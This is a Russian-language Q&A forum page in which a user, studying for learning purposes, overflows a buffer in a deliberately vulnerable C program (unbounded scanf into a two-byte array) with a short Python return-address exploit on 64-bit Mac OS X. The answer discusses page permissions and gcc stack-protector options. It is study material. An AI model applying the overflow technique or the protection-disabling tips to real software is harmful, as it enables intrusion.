Простой переполнение буфера с использованием scanf (Mac OS X 10.6.5 64-Bit) - PullRequest
3 голосов
/ 03 января 2011

В образовательных целях я пытаюсь выполнить переполнение буфера, которое направляет программу на другой адрес.

Это c-программа:

#include <stdio.h> 
#include <stdlib.h>
#include <string.h>

void secret1(void) {
 puts("You found the secret function No. 1!\n");
}

int main () {
 char string[2];
 puts("Input: ");
 scanf("%s", string);
 printf("You entered %s.\n", string);
 return 0;
}

Я использовал gdb, чтобы найти адрес secret1, а также смещение строки моей переменной в RIP. Используя эту информацию, я создал следующий python-эксплойт:

import struct
rip = 0x0000000100000e40
print("A"*24 + struct.pack("<q", rip))

Пока все работает - программа переходит на secret1, а затем выдает сообщение об ошибке «Ошибка сегментации».

ОДНАКО, если я расширю свою программу следующим образом:

...
void secret1(void) {
 puts("You found the secret function No. 1!\n");
}

void secret2(void) {
 puts("You found the secret function No. 2!\n");
}

void secret3(void) {
 puts("You found the secret function No. 3!\n");
}
...

... это SegFaults БЕЗ перехода к любой из функций, даже если новые поддельные RIP правильны (т.е. 0x0000000100000d6c для secret1, 0x0000000100000d7e для secret2). Смещения остаются такими же, как сказал мне GDB (или нет?).

Я заметил, что ни одна из моих попыток не работает, когда программа «достаточно велика», чтобы поместить секретные функции в область памяти, заканчивающуюся 0x100000 d .. - она ​​работает как чудо, когда они где-то в 0x100000 e ..

Он также работает с несколькими секретными функциями, когда я компилирую его в 32-битном режиме (адреса изменились соответственно), но не в 64-битном режиме.

-fno-stack-protector // doesn't make any difference.

Кто-нибудь может объяснить мне это странное поведение? Большое спасибо!

1 Ответ

1 голос
/ 05 марта 2011

Возможно, создание нескольких скрытых функций помещает их все на страницу памяти без разрешения на выполнение ... попробуйте явно дать разрешение RWX на эту страницу с помощью mprotect. Может быть много других вещей, но это первая проблема, на которую я бы обратился.

Что касается опции -fno-stack-protector gcc, я на некоторое время убедился, что это скрыто в gcc 4.2.1. Но поиграв с этим немного больше, я узнал, что для того, чтобы включить защиту канареечного стека, sizeof (buffer)> = 8 должен быть истинным. Кроме того, это должен быть буфер символов, если вы не укажете опции -fstack-protector-all или -fnostack-protector-all, которые включают канареи даже для функций, которые не содержат буферов символов. Я использую 64-разрядную версию OS X 10.6.5 с вышеупомянутой версией gcc и на фрагменте эксплойта с переполнением буфера, который я пишу, мой стек изменяется при компиляции с -fstack-protector-all по сравнению с компиляцией без соответствующих параметров (возможно, потому Используемая функция не имеет буфера символов). Поэтому, если вы хотите быть уверены, что эта функция либо отключена, либо включена, обязательно используйте опции -all опций.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...